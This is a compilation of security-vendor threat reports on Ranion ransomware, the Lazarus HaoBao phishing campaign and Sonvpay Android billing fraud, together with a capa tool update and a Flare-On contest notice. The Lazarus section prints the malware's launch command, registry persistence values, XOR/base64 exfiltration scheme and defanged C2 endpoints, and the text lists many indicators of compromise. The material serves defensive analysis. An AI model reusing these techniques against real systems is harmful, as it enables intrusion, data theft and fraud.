However, it has seen rapid acceleration in its development in 2021, with six updates over a seven-month period for unknown reasons.
Each update made in 2021 contains additional code using an open-source program named ConfuserEx to evade detection and protect the security vendors’ identities.
We will touch on this part later.
Ranion RaaS Explained The latest version of Ranion ransomware is designed to encrypt files on a compromised machine using the following 44 file extensions, an increase of five new file types over previous analyses (newly added extensions are highlighted in orange):
Although the ransomware is not designed to encrypt executable files, the Ranion developers state that users “can request other additional file types/extensions to encrypt for free as any files can be a target of Ranion ransomware.”
How Ranion Makes Money Originally, back in 2017, Ranion offered users two support packages (a 1-year and a 6-months service).
Today, the Ranion team offers four support packages: Elite, Premium, Standard, and Test.
Figure 3:
Ranion ransomware packages and prices Previously, the most expensive package was offered for 0.95 bitcoin and the cheapest for 0.60 bitcoin.
In February 2017, one bitcoin was worth about 1,200 US dollars, which means these packages sold for around 1,140 USD and 720 USD, respectively.
As of September 2021, one bitcoin exchanged for around 50,000 USD so Ranion developers have adjusted their prices, and they also now offer discounts for easy-to-buy add-on options.
Ranion’s business model is quite different from other RaaS vendors.
Typically, Ransomware-as-a-Service vendors pay out 60%-80% of any ransoms collected to their “affiliates” that have successfully installed their ransomware onto a victim’s machine.
The Ranion developers do not take a middleman’s cut.
Instead, their affiliates pay for the RaaS service upfront, and they then receive 100% of any ransoms collected.
And while some RaaS vendors try to recruit experienced affiliates, and often screen potential affiliates before allowing them to sign up for the service, Ranion developers do not.
This is one of the reasons why many inexperienced affiliates start with Ranion.
It allows then to get used to the ransom operation.
It is also a choice for affiliates who were unable to pass the screening process imposed by other ransomware gangs, thereby lowering the bar for entry.
To see how well this model works, we tracked some Bitcoin wallets used by one of the older Ranion samples for ransom payment.
Two moderate payments, totaling about USD $153 and $460 worth of Bitcoin, were made to the wallet within a week of the Ranion sample being made available.
But a Bitcoin wallet used by Ranion has recorded transactions from two other Bitcoin wallets.
About $4.7 million USD worth of Bitcoin was transferred to one of those wallets from over 300 different Bitcoin wallets.
Dropper Add-On Another notable characteristic of Ranion is that it provides an opportunity for buyers to purchase a dropper add-on.
At first glance, a “dropper” may sound like a malware add-on that Ranion affiliates can use to deliver ransomware, but it’s not.
According to an FAQ posted on the purchase site, the add-on dropper has the following description: “ RANION can download a program of yours (exe file) and execute it after encryption process ended.
”
For example, an attacker might use this add-on to silently download and install a remote access tool “RAT” on a victim’s machine infected with Ranion.
Even if the victim opts to pay ransom, the Ranion decrypter only decrypts the encrypted files but does not remove the RAT.
The Ranion affiliate can then turn to other RaaS services that are willing to purchase existing corporate access (recent Lockbit 2.0 and Blackmatter RaaS quickly come to mind) and sell that compromised victim for additional profit.
This scheme can surely be “educational,” but it’s only good for ransomware affiliates.
1 AUP is available for purchase The Ranion Ransomware Delivery Method The Ranion ransomware’s delivery method recently observed by FortiGuard Labs is very straightforward.
It was done through a spearphishing email with a zip file attachment that included the Ranion ransomware executable.
As Ranion is more suited for beginner threat actors, the lack of sophistication in their ransomware delivery might be a reason why Ranion has not gained household status in the ransomware realm.
This may also be why they have managed to stay under the radar for more than four years.
Ranion’s ransom message supports eight languages by default (English, Russian, German, French, Spanish, Italian, Dutch, and Persian).
Any regions in which those languages are primarily used can be a target of Ranion.
Ranion Ransomware Origin: HiddenTear Copycat?
Ranion bases its code on the open-source proof-of-concept ransomware known as HiddenTear.
There are some code similarities between the two projects.
The above screenshot is from HiddenTear’s implantation of an encryption function.
It can be found at https://github.com/goliate/hidden-tear/blob/master/hidden-tear/hidden-tear/Form1.cs .
For comparison, Ranion’s implementation is below: To encrypt files, HiddenTear uses this function.
Ranion implements its encryption in a similar fashion.
These are just two examples.
Overall programming resemblance can be seen in a variety places.
In addition, Ranion kept their resource section similar to HiddenTear’s as well.
NOTE:
This Ranion variant is from 2017 and has a SHA256 hash value of eed03a9564aee24a68b2cade89d7fbe9929e95751a9fde4539c7896fda6bdcb5 To Be FFFFUUUUDDDD To be fully undetectable, the Ranion team has consistently relied on the ConfuserEx project, which is the successor of the now defunct Confuser project.
It is a free and open-source obfuscator that makes malware harder to analyze by “protecting” .NET
applications through symbol renaming, anti-debugging, encryption, compression, and other functions.
(For more info, please see the github project page here .)
The 2017 Ranion variant analyzed below was “protected” by the Confuser project.
The following 2021 variant of Ranion was “protected” using the ConfuserEx project.
While ConfuserEx is able to do what it says, which is “protect” .NET
applications, in this case it is protecting malware from being detected by the AV industry via evasion techniques.
Conclusion - Ranion Ransomware HiddenTear-based Ranion is a low-profile, low-cost RaaS that has not achieved the same success of other, more notorious ransomware gangs.
However, this ransom service provides enough basic features for new threat actors to use it as a steppingstone for working with more sophisticated malicious services.
Ranion is only “educational” in that it helps train wannabe cyber criminals inflict the same damage as other ransomware variants that have simply adopted more polished and sophisticated delivery and propagation mechanisms.
Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard’s AntiVirus and FortiEDR services, as follows: MSIL/Kryptik.
LMX!tr MSIL/Agent.
AZG!tr MSIL/Agent.
BJU!tr MSIL/Bladabindi.
FM!tr MSIL/Filecoder.
FU!tr MSIL/GenKryptik.
BLYY!tr MSIL/GenKryptik.
FEWS!tr W32/Crypmodadv.
A!tr W32/DOTHETUK.FU!tr.ransom W32/Hesv.
BXFI!tr Indicators of Compromise (IOCs): SHA2: 52f6e8c0c28f802d8dfd9138bcc971d449d0526469a36541359b6fc31d44d7dc d63f032180d6cbc3165f79dac13f81e69f3176b06f0ff4b162b167e4f45f5e93 f687c51ee4889c6a35536d06c87b0123d17a483f7e2f5efcfb423fba94e186be
f18044a85ceb3c472ae57e3473e2f14f945f22a9df634caa242b11e5f81c561b e4c42969a0327ce133b8b6dd52b0f2e926fbc43a48cf2abbd78d521e310b00e4 41ad23008aea13bccf60249c24ee290e9867223d783bc9ddc4234b8e1d21008d d894cfa1f2e55ea8fb61598d1312d92c6c1667f97ec683dfa5b5350b32402099 2a8f7abaa6b896bdcc8f73a78af89274df5ee5f586edb88a0b4fd0b06cbaf6bd 19b2da9261d163d3a8e25916b0c960bae36d4334172faa2eb7f720c7483f0fb1 434bbb0e4f289944e6c1fafc11e7f3353056857fb90abafd17e2c6ec697d94b3 bbe77c293bf11c5e8d26ff1583cf546a346de5d666e5558b17f056f1117ddaf8 7afbb979ac6485cbe4d21955dd0f4444d67d2b99aa3d420c09bcc7d54949ed7c ac5e6f8e646311bf3645ccdccf7119712ada6811d973444d3a763d17083ef028 2ab7ba4aa579ffda113b3f1a693cb2f6b45c5adb833301762d623089f5e37694 4ad4aabd3ec941e6eb442aadae23e01539f63c093582ebf9239681fe399c7571 e28afea1a286b27c9f4578cb27729e180dd20f406282e489328e11722b37af73 8a4298a5c2101baf0315a2c5ed297a6b9912c673a200a7082fb96fcaa21a7316 798a618bf3b817751de722bc84475d5dca798fb48e844804d530e34e920fad09 bd82bb30089383547fcc1ab8181c957f770a99c1499db211fa3245135fcce2be eba37b0cef846c16bca30804557d7dae57b16cda506a111e2e4c6f7ef54cab70 507cc65037febbad93cd5a4c10d1e870f4f73069484bd7913349deb139c18ea2 b93a45691e955d4600dde6219125f0a38b0544ad48872bc4ebda5436cf2c0bc0 abf13688180d505d07b04a6643941a571de1efd97b46631abfafd555863ec33e 0f2bbf749501297928efbd4a12d8a1858c7944516e8b15817988a429eae4e632 a9671f6455895b1e0875eec277015672ea816dc5299cfd519db2dc4bc38ce693 0a59c6b2ec5dbaa7e36b52dc494d1e58e918f32695cfb28104a5c82b09a9554f ca7aaa3de1948dc882d55d40a0269a145e34f1e07b2b1e932040863e6d1dedb8 27cb1df4a3092c42ddfd93db50cc78813a823a881e6d131410915d0ded6515c4 46b9c46520f00b25924cc0a137393f67a0f4395da8cdc37b32985b90d7285252 46462ba2ac8018901239800f1c4562a31618b1565fe559ab826feef303adab8d
df7c5267c9e61d7b23a3a771623c6b274fb601023725a8af1b8bc25ae8bcbdb6 0085d31140895d16a2f92a77b62fb50db0d05fa47b447e21bca062532b5bf0d2 780a576b7ea69b46eb8a698aac0c6ee6e2e426fddcd7a99b749f5aa083e8f72b 94968c73dacfd68500ca59905e410ca4ccafe92cd8e223ed47ad916ee82a6dfb c18c9cf30056d9ebfda69bb9869a38b5ab2d2e3d388a747d7ec8516e022aa7e9 19d9ec2713d913d5325a72ce646351a2384d86efd5dcecebb354ef2bc9e801a2
c38e068677903ccd9b117bacaa3b201616668e449856f8d14894f9acf3f6e9cc 378b34a3e1f760dc7d6c5ff742c543a0184a255c7c3422e348eab05dca1377f9 e9352eb25a1ef3fc8d88fd62a4253d4b8db3931366f012e9ee7916818f74ad55 f7b6ac95cbf4f4122c67e3f841de1152cb032e36d768cd71618cbaf95f131727 df16d6b57a0290b8d7276285020cf6cf5e7c4a561516500fd44e862ea32c1073 dbd00dffb77998d4b0c9946e727279831f19e5d58059b0de353cb191f6c3ca00 1bbc33db0c52d5c3f2798f726bb476cf20d00eeae971e98926bbfbf194e7e03c 98f16b75d1c9e3c8914b10de4b6286397285d226785b42766847b35558ee0dc7 86c6a8c1cd461dafdc30ce37eca355f096ff35ccd48b4de3f2f3bd56d0cef543 c5234f098cf2319c813e8025e0ea04b4f45de4ad195b64ba80fe9a098de54431 0361585476c9e04cbe9efac74fe76e32d84e2e682ac4a8e5f67860a719e7b6d0 1fdaae6a5b1d69d795a07b5518568964dc53e181b22ad2427e7f10c60d61241b 4824c68f18089c44af8426b9a2d7960f5caa572777a46b3a172093b321acbf1d eed03a9564aee24a68b2cade89d7fbe9929e95751a9fde4539c7896fda6bdcb5 023b12665ff5c46331ece74d220c52a28439ada61210183bbd921e1ef833645c
aa9bbffae11e2a2af53acbb56129d99cb93c78c98202f5c19b095f9ed296a2ce ea00fffa874669e743d125fcdb55ba591a54d469c621eada61f304495269a35c f389a83b1309ff17c9c0faf1d9e079ceae3b4111c6813ad50bd451a9a19b291b 33d24a576f00847d44315c1d6d588a3aa45031dec2b1590bc67bc6800e455cf6 MITRE ATT&CK information Execution - T1204.002:
Malicious File Persistence - T1547.001: Registry Run Keys/Startup Folder Privilege Escalation - T1548.002:
Bypass User Account Control Defense Evasion - T1027.002:
Software Packing - T1548.002: Bypass User Account Control - T1562.001: Disable or Modify Tools Discovery - T1083: File and Directory Discovery Impact - T1486:
Data Encrypted for Impact - T1491.001: Internal Defacement Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
By Ryan Sherstobitoff on Feb 12, 2018 This blog was written with support and contributions provided by Asheer Maholtra, Jessica Saavedra Morales, and Thomas Roccia.
McAfee Advanced Threat Research (ATR) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact.
This new campaign, dubbed HaoBao, resumes Lazarus’ previous phishing emails, posed as employee recruitment, but now targets Bitcoin users and global financial organizations.
When victims open malicious documents attached to the emails, the malware scans for Bitcoin activity and then establishes an implant for long-term data-gathering.
HaoBao targets and never-before-seen implants signal to McAfee ATR an ambitious campaign by Lazarus to establish cryptocurrency cybercrime at a sophisticated level.
Background Beginning in 2017, the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents.
The campaign lasted from April to October and used job descriptions relevant to target organizations, in both English and Korean language.
The objective was to gain access to the target’s environment and obtain key military program insight or steal money.
The 2017 campaign targets ranged from defense contractors to financial institutions, including crypto currency exchanges, however; much of this fake job recruitment activity ceased months later, with the last activity observed October 22, 2017.
Analysis On January 15 th , McAfee ATR discovered a malicious document masquerading as a job recruitment for a Business Development Executive located in Hong Kong for a large multi-national bank.
The document was distributed via a Dropbox account at the following URL:
hxxps://www.dropbox.com/s/qje0yrz03au66d0/JobDescription.doc?dl=1 This is the mark of a new campaign, though it utilizes techniques, tactics and procedures observed in 2017.
This document had the last author ‘Windows User’ and was created January 16, 2018 with Korean language resources.
Several additional malicious documents with the same author appeared between January 16 though January 24, 2018.
Document summary from Virus Total Malicious job recruitment documents Victims are persuaded to enable content through a notification claiming the document was created in an earlier version of Microsoft Word.
The malicious documents then launch an implant on the victim’s system via a Visual Basic macro.
Malicious Microsoft Word document Implants dropped in campaign The document (7e70793c1ca82006775a0cac2bd75cc9ada37d7c) created January 24, 2018 drops and executes an implant compiled January 22, 2018 with the name lsm.exe (535f212b320df049ae8b8ebe0a4f93e3bd25ed79).
The implant lsm.exe contacted 210.122.7.129 which also resolves to worker.co.kr.
Implants dropped in campaign The other malicious document ( a79488b114f57bd3d8a7fa29e7647e2281ce21f6) created January 19, 2018 drops the implant (afb2595ce1ecf0fdb9631752e32f0e32be3d51bb); which is 99% similar-to the lsm.exe implant.
This document was distributed from the following Dropbox URLs: hxxps://dl.dropboxusercontent.com/content_link/AKqqkZsJRuxz5VkEgcguqNE7Th3iscMsSYvivwzAYuTZQWDBLsbUb7yBdbW2lHos/file?dl=1 hxxps://www.dropbox.com/s/q7w33sbdil0i1w5/job description.doc?dl=1 HTTP response for job description document This implant (csrss.exe) compiled January 15, 2018 contacts an IP address 70.42.52.80 which resolves to deltaemis.com.
We identified that this domain was used to host a malicious document from a previous 2017 campaign targeting the Sikorsky program.
hxxp://deltaemis.com/CRCForm/3E_Company/Sikorsky/E4174/JobDescription.doc
A third malicious document (dc06b737ce6ada23b4d179d81dc7d910a7dbfdde) created January 19, 2018 drops e8faa68daf62fbe2e10b3bac775cce5a3bb2999e which is compiled January 15, 2018.
This implant communicates to a South Korean IP address 221.164.168.185 which resolves to palgong-cc.co.kr.
McAfee ATR analysis finds the dropped implants have never been seen before in the wild and have not been used in previous Lazarus campaigns from 2017.
Furthermore, this campaign deploys a one-time data gathering implant that relies upon downloading a second stage to gain persistence.
The implants contain a hardcoded word “haobao” that is used as a switch when executing from the Visual Basic macro.
Malicious Document Analysis The malicious document contains two payloads as encrypted string arrays embedded in Visual Basic macro code.
The payloads are present as encrypted string arrays that are decrypted in memory, written to disk and launched in sequence (second stage malicious binary launched first and then the decoy document).
The VBA Macro code is self-executing and configured to execute when the OLE document (MS Word doc) is opened (via “Sub AutoOpen()”).
The AutoOpen() function in the VBA Macro performs the following tasks in the sequence listed:
Decodes the target file path of the second stage binary payload.
This file path is calculated based on the current user’s Temp folder location: <temp_dir_path>\\.\\lsm.exe VB code to decrypt second stage filepath Decodes the second stage binary in memory and writes it to the %temp%\\.\\lsm.exe file location second stage binary (MZ) as an encrypted String Array in the VBA Macro second stage binary (MZ) decoded in memory by the VBA Macro After writing the second stage payload to disk the VBA code performs two important actions.
Runs the second stage payload using cmd.exe.
This is done so that the cmd.exe process exists as soon as the payload is launched.
This way a process enumeration tool cannot find the parent process =
>
Smaller footprint.
cmdline for executing the second stage binary: cmd.exe /c start /b <temp_dir_path>\\.\\lsm.exe /haobao
Adds persistence on the system by creating a shortcut in the user’s Startup folder with the correct cmdline arguments: Link file command line: <temp_dir_path>\\.\\lsm.exe /haobao
Link File Name: GoogleUpdate.lnk Trigger code for executing the second stage binary and establishing persistence LNK file configuration for establishing persistence Once the second stage payload has been launched, the VBA Macro proceeds to display a decoy document to the end user.
This decoy document is also stored in the VBA Macro as an encrypted string array (similar to the second stage payload).
The decoy document is again written to the user’s temp directory to the following filename/path: <temp_dir_path>\\.\\Job Description.doc Decoy Document decoded in memory by the VBA Macro
Once the decoy document has been written to disk, the VBA Macro sets its file attributes to System + Hidden The decoy document is then opened by the malicious VBA Macro and the original malicious document’s caption is copied over to the decoy document to trick the end user into mistaking the decoy document for the original (malicious) document.
This activity, combined with the fact that the VBA Macro then closes the current (malicious) document, indicates that the VBA Macro aims to trick an unsuspecting user into thinking that the decoy document currently open is the original (malicious) document opened by the user.
Since the decoy document is a benign file and does not contain any macros the victim does not suspect any malicious behavior.
Implant Analysis As part of the implant initialization activities the implant does the following; Checks the string passed to it through command line “/haobao” in case of 535f212b320df049ae8b8ebe0a4f93e3bd25ed79 “/pumpingcore” in case of e8faa68daf62fbe2e10b3bac775cce5a3bb2999e If the malware does not find this string in its cmdline arguments, it simply quits without going any further.
Unwraps a DLL into memory and calls its one-and-only import using Reflective DLL injection.
DLL information.
During our research, we discovered additional variants of the DLL file.
DLL information As part of Reflective DLL loading the malware performs the following tasks on the DLL it has unwrapped in memory: Copy the unwrapped DLL into new locations in its own memory space.
Build imports required by the DLL (based on the IAT of the DLL)
Imports builder code in malware for the DLL imports Call the newly loaded DLL image’s Entry Point (DllMain) with DLL_PROCESS_ATTACH to complete successful loading of the DLL in the malware process.
DLL Entry Point Call from malware to finish loading of the DLL in memory Call the actual malicious export in the DLL named “CoreDn”
Hardcoded DLL export name “CoreDn” in malware All the malicious activities described below are performed by the DLL unless specified otherwise.
Data Reconnaissance The implant has the capability of gathering data from the victim’s system.
The following information will be gathered and sent to the command and control server.
Computer name and currently logged on user’s name, stored in the format <ComputerName> \\ <Username>
Malware obtaining the computer name and user name List of all processes currently running on the system arranged in format <Process Name>\\r\\n <Process Name>\\r\\n <Process Name>\\r\\n <Process Name>\\r\\n Malware collecting process information from endpoint
The presence of a specific registry key on the system HKEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-
Qt The malware appends an indicator (flag) specifying whether the above registry key was found in the user’s registry: This key is checked again as part of the command and control communication and is sent as a duplicate value to the command and control in the HTTP POST request as well (explained in the below).
Malware checking for the presence of the registry key Exfiltration Preparation In preparation of the exfiltration of information collected from the endpoint, the malware performs the following activities: Encode the collected information using a simple byte based XOR operation using the byte key: 0x34.
Base64 encode (standard) the XORed data.
Again, check for the presence of the Registry Key: HKCU\\Software\\Bitcoin\\Bitcoin-Qt Command and Control Server Communication
Once the malware has performed all these activities it sends an HTTP POST request to the CnC server: www[dot]worker.co.kr for md5 BDAEDB14723C6C8A4688CC8FC1CFE668 www[dot]palgong-cc.co.kr for md5 D4C93B85FFE88DDD552860B148831026
In the format: HTTP POST to www[dot]worker.co.kr /board2004/Upload/files/main.asp?idx=%d&no=%s&mode=%s OR HTTP POST to www[dot]palgong-cc.co.kr /html/course/course05.asp?idx=%d&no=%s&mode=%s where idx= 20 (14h) if the Registry key does not exist; 24 (18h) if the key exists.
no= XORed + base64 encoded “<Computername> \\ <username>” mode= XORed + base64 encoded Process listing + Registry key flag Command and control server domain Persistence The persistence mechanism of the malware is performed only for the downloaded implant.
Persistence is established for the implant via the visual basic macro code initially executed upon document loading by the victim.
This persistence is also performed ONLY if the malware successfully executes the downloaded implant.
The malware first tries to update the HKEY_LOCAL_MACHINE registry key.
If the update is unsuccessful then it also tries to update the HKEY_CURRENT_USER registry key.
Value written to registry to achieve persistence on the endpoint:
Registry Subkey =
Software\\Microsoft\\Windows\\CurrentVersion\\Run Value Name =
AdobeFlash Value Content = “C:\\DOCUME~1\\<username>\\LOCALS~1\\Temp\\OneDrive.exe” kLZXlyJelgqUpKzP Registry based persistence of the second stage payload Connections to 2017 campaigns The techniques, tactics and procedures are very similar to the campaigns that targeted US Defense contractors, US Energy sector, financial organizations and crypto currency exchanges in 2017.
The same Windows User author appeared back in 2017 in two malicious documents 비트코인_지갑주소_및_거래번호.doc and 비트코인 거래내역.xls which were involved in crypto currency targeting.
Furthermore, one of the implants communicates to an IP address that was involved in hosting malicious job description documents in 2017 involving the Sikorsky military program.
McAfee Advanced Threat research determines with confidence that Lazarus is the threat group behind this attack for the following reasons: Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 Same author appeared in these recent malicious documents that also appeared back in Lazarus 2017 campaigns Uses the same malicious document structure and similar job recruitment ads as what we observed in past Lazarus campaigns The techniques, tactics and procedures align with Lazarus group’s interest in crypto currency theft Conclusion In this latest discovery by McAfee ATR, despite a short pause in similar operations, the Lazarus group targets crypto currency and financial organizations.
Furthermore, we have observed an increased usage of limited data gathering modules to quickly identify targets for further attacks.
This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans.
Indicators of Compromise MITRE ATT&CK techniques Data encoding Data encrypted Command-Line Interface Account discovery Process Discovery Query registry Hidden files and directories
Custom cryptographic protocol
Registry Run Keys / Start Folder Startup Items Commonly used port Exfiltration Over Command and Control Channel IPs
210.122.7.129 70.42.52.80 221.164.168.185 URLs hxxps://dl.dropboxusercontent.com/content_link/AKqkZsJRuxz5VkEgcguqNE7Th3iscMsSYvivwzAYuTZQWDBLsbUb7yBdbW2lHos/file?dl=1 hxxps://www.dropbox.com/s/q7w33sbdil0i1w5/job description.doc?dl=1 Hashes dc06b737ce6ada23b4d179d81dc7d910a7dbfdde a79488b114f57bd3d8a7fa29e7647e2281ce21f6 7e70793c1ca82006775a0cac2bd75cc9ada37d7c 535f212b320df049ae8b8ebe0a4f93e3bd25ed79 1dd8eba55b16b90f7e8055edca6f4957efb3e1cd afb2595ce1ecf0fdb9631752e32f0e32be3d51bb e8faa68daf62fbe2e10b3bac775cce5a3bb2999e McAfee Detection BackDoor-FDRO!
Trojan-FPCQ!
RDN/Generic Downloader.x RDN/Generic Dropper RDN/Generic.dx
Since our initial public release of capa , incident responders and reverse engineers have used the tool to automatically identify capabilities in Windows executables.
With our newest code and ruleset updates, capa v3 also identifies capabilities in Executable and Linkable Format (ELF) files, such as those used on Linux and other Unix-like operating systems.
This blog post describes the extended analysis and other improvements.
You can download capa v3 standalone binaries from the project’s release page and checkout the source code on GitHub .
ELF File Format Support capa finds capabilities in programs by parsing executable file formats, disassembling code, and then recognizing features in functions.
In versions v1 and v2, capa only understood the PE file format, so its analysis was restricted to Windows programs.
Thanks to our colleagues at Intezer , capa now recognizes ELF files!
This means you can use the tool to identify behaviors in malware that targets Linux computers.
Figure 1 shows a rule that describes techniques to fetch the current user on Linux.
Figure 1: capa rule identifying capabilities on Linux We’re excited Intezer leverages capa and thrilled they are sharing their improvements with the community.
In addition to the code updates, Intezer proposed 36 capa rules to identify various capabilities in ELF files, such as reconnaissance, persistence, and host interaction techniques.
Please read Intezer’s blog post for more details.
New Features capa Can Recognize As we taught capa to recognize ELF files, we also wanted rule authors to tune their rules to find behaviors specific to different operating systems (OS), CPU architectures, and file formats.
For example, the APIs exposed by Windows are very different from those found on Linux systems; therefore, rules should clearly designate which pattern to use on Windows versus Linux.
Based on discussions and feedback collected from users and contributors, we've extended capa’s rule format to describe OSes, CPU architectures, and file formats.
The rule shown in Figure 2 uses os features to distinguish techniques used to get networking interface information on Windows and Linux.
Note that the rule is explicit about which APIs are found on each OS, making it easy for both humans and machines to interpret the matching logic.
Figure 2: capa rule using the os feature to distinguish OS specific features We’ve also added arch (such as arch: i386 for 32-bit Intel code) and format (such as format: elf for ELF files) features to distinguish between CPU architectures and file formats.
To learn more about these and capa’s rule syntax see the rule format documentation on GitHub.
Unfortunately, rules with these new features are not backwards compatible with older versions of capa.
Therefore, you should prefer to upgrade your capa installation to take advantage of our enhanced rules.
Substring Features To make many rules easier to read, we’ve added a convenience feature named substring that acts like a literal string match with implied leading and trailing wildcards.
This makes it easier to match file path components, such as /.ssh/id_rsa .
Previously, users had to wrap a substring with forward slashes and escape special characters with backslashes, leading to nearly incomprehensible character sequences.
Now, a substring feature clearly describes a literal string found as part of a longer string.
Figure 3 shows how much easier it is to read a substring feature.
Figure 3: Old- and new-style ways of describing a substring Figure 4 shows a capa rule using a substring feature to describe a persistence location on Linux.
Figure 4: capa rule using the substring feature to identify persistence on Linux systems Conclusion The newest improvements add ELF file analysis support to capa and make its rules even more expressive.
We thank the community and notably Intezer for their continued support.
We love the collaboration and are excited for future opportunities.
The v3 capa release also includes bug fixes, improvements to the IDAPython plugin capa explorer , and more than 50 new rules.
See the capa changelog for all update details.
The new capa release is available on the release page and on PyPI .
capa’s code and rules are available on GitHub.
If you have any questions or feedback, please open an issue or discussion in the respective repository.
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The FLARE team is once again hosting its annual Flare-On challenge, now in its eighth year.
Take this opportunity to enjoy some extreme social distancing by solving fun puzzles to test your mettle and learn new tricks on your path to reverse engineering excellence.
The contest will begin at 8:00 p.m.
ET on Sept. 10, 2021.
This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts, and security professionals.
The contest runs for six full weeks and ends at 8:00 p.m.
ET on Oct. 22, 2021.
This year’s contest will consist of 10 challenges and feature a variety of formats, including Windows, Linux, and JavaScript.
This is one of the only Windows-centric CTF contests out there and we have crafted it to represent the skills and challenges our FLARE team faces.
If you smash your way through all 10 challenges, you will receive a prize and permanent recognition on the Flare-On website to honor your greatness.
Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers.
Prior year’s prizes were belt buckles, a replica police badge, a challenge coin, a medal, a massive pin, and a cyber-styled skeleton key.
Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice.
For official news and information, we will be using the Twitter hashtag: #flareon8.
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By Carlos Castillo on Jun 27, 2018 The McAfee Mobile Research team has found a new billing-fraud campaign of at least 15 apps published in 2018 on Google Play.
Toll fraud (which includes WAP billing fraud) is a leading category of potentially harmful apps on Google Play, according to the report Android Security 2017 Year in Review.
This new campaign demonstrates that cybercriminals keep finding new ways to steal money from victims using apps on official stores such as Google Play.
The AsiaHitGroup Gang has been active since at least late 2016 with the distribution of the fake-installer applications Sonvpay.
A, which attempted to charge at least 20,000 victims from primarily Thailand and Malaysia for the download of copies of popular applications.
One year later, in November 2017, a new campaign was discovered on Google Play , Sonvpay.
B, used IP address geolocation to confirm the country of the victim and added Russian victims to the WAP billing fraud to increase its potential to steal money from unsuspected users.
In January 2018, the AsiaHitGroup Gang returned to Google Play with the repackaged app, Sonvpay.
C, which uses silent background push notifications to trigger a fake update dialog.
When victims start the “update” they instead subscribe to a premium-rate service.
The subscription operates primarily via WAP billing, which does not require sending SMS messages to premium-rate numbers.
Instead it requires only that users employ the mobile network to access a specific website and automatically click on a button to initiate the subscription process.
Based on the approximate number of installations from Google Play, the cost of the premium-service subscription, and the days that these apps were available, we estimate that the AsiaHitGroup Gang could have potentially earned between $60,500–$145,000 since January.
Sonvpay on Google Play The McAfee Mobile Research team initially found the following applications repackaged with Sonvpay on Google Play, all of them published this year: Figure 1.
Sonvpay apps found on Google Play.
We notified Google about these apps on April 10 and they were promptly removed.
A couple of days later the app “Despacito for Ringtone” was found again on the store and was quickly removed.
In total we found 15 apps that were installed at least 50,000 times since the first one, Cut Ringtones 2018, was released on Google Play in January 2018.
The following table lists the 15 malicious apps: At the time of download, the only red flag that a user could notice is that the app needs access to SMS messages.
Once installed and executed, the app behaves as expected (QR code reader, ring tones, etc.
).
However, in the background and without the user’s knowledge, Sonvpay listens for incoming push notifications that contain the data to perform mobile billing fraud.
Background Push Notification and Fake Update Screen Sonvpay employs the onesignal push notification service to get the information to subscribe users to premium-rate services.
To receive the data in the background without displaying a notification, Sonvpay implements the method “onNotificationProcessing” and returns “true” to make the notification silent: Figure 2.
Silent background notification.
The received data can perform WAP and SMS fraud along with information necessary to display a fake update notification to the user after some time of using the repackaged application.
This fake notification has only one bogus button.
If the user scrolls until the end, the misleading phrase “Click Skip is to agree” appears: Figure 3.
Fake update notification.
If the user clicks the only button, Sonvpay will do its job.
However, even if there is no interaction with this window and the data in the push notification has the value “price” as empty, Sonvpay will proceed to subscribe to a premium-rate service: Figure 4.
Starting mobile billing fraud if “price” value is empty.
Downloading the Dynamic Payload from a Remote Server One of the parameters obtained from the silent push notification is a URL to request the location of functionality to perform mobile billing fraud.
Once the fake update notification is displayed, Sonvpay requests the download of the library from another remote server: Figure 5.
Sonvpay requesting library with additional functionality.
The new APK file is downloaded and stored in the path /sdcard/
Android/<package_name>/cache/ so that it can be dynamically loaded and executed at runtime.
The library we obtained for performing mobile billing fraud targeted only Kazakhstan and Malaysia
but, because the library is present in a remote server and can be dynamically loaded, it can likely be updated at any time to target more countries or mobile operators.
WAP Billing and SMS Fraud
In the case of Kazakhstan, Sonvpay loads a specific URL delivered through the silent push notification and uses JavaScript to click on a button and on the element “activate” to fraudulently subscribe the user to a premium-rate service: Figure 6.
WAP billing fraud in Kazakhstan.
For Malaysia, the malware creates a new WebView to send the “Shortcode” and “Keyword” parameters to a specific URL to subscribe the user to a WAP billing service: Figure 7.
WAP billing fraud in Malaysia.
However, for Malaysia the app needs to intercept a confirmation code (PIN) sent by the mobile operator via SMS.
Sonvpay has this SMS interception functionality implemented in the original repackaged application: Figure 8.
Processing an intercepted SMS message to get the confirmation PIN.
Once the PIN is obtained, it is sent to the mobile operator via a web request to automatically confirm the subscription.
If the parameters for Kazakhstan or Malaysia do not match, Sonvpay still tries to perform mobile billing fraud by attempting to send an SMS message to a premium-rate number provided via the silent push notification: Figure 9.
Functionality to send an SMS message to a premium-rate number.
Closer Look to Previous Campaigns While looking for patterns in the 2018 campaign, we found the app DJ Mixer–Music Mixer.
As soon as this application executes, it checks if the device has an Internet connection.
If the device is offline, the app shows the error message “You connect to internet to continue” and ends its execution.
If the device is online, the app executes a web request to a specific URL: Figure 10.
Web request to the AsiaHitGroup Gang URL.
We learned the apps created by the developer SHINY Team 2017 were available on Google Play in September 2017; earlier Sonvpay variants were discovered in November 2017.
The primary behavior of the two variants is almost the same—including the changing of the main icon and the app’s name to Download Manager to hide its presence from the user.
However, with DJ Mixer, the geolocation of the IP address identifies the country of the infected device and aids the execution of the mobile billing fraud: Figure 11.
Using IP geolocation to target specific countries.
In this case only three countries are targeted via the geolocation service: Russia (RU), Thailand (TH), and Malaysia (MY).
If the IP address of the infected devices is not from any of these countries, a dialog will claim the app is not active and that the user needs to uninstall and update to the latest version.
If the country is Thailand or Malaysia, the malicious app randomly selects a keyword to select an image to offer users premium-rate services.
With Malaysia the image includes English text with terms of service and the button “Subscribe” to accept the randomly selected premium-rate service: Figure 12.
Screens displayed when the country of the IP address is Malaysia.
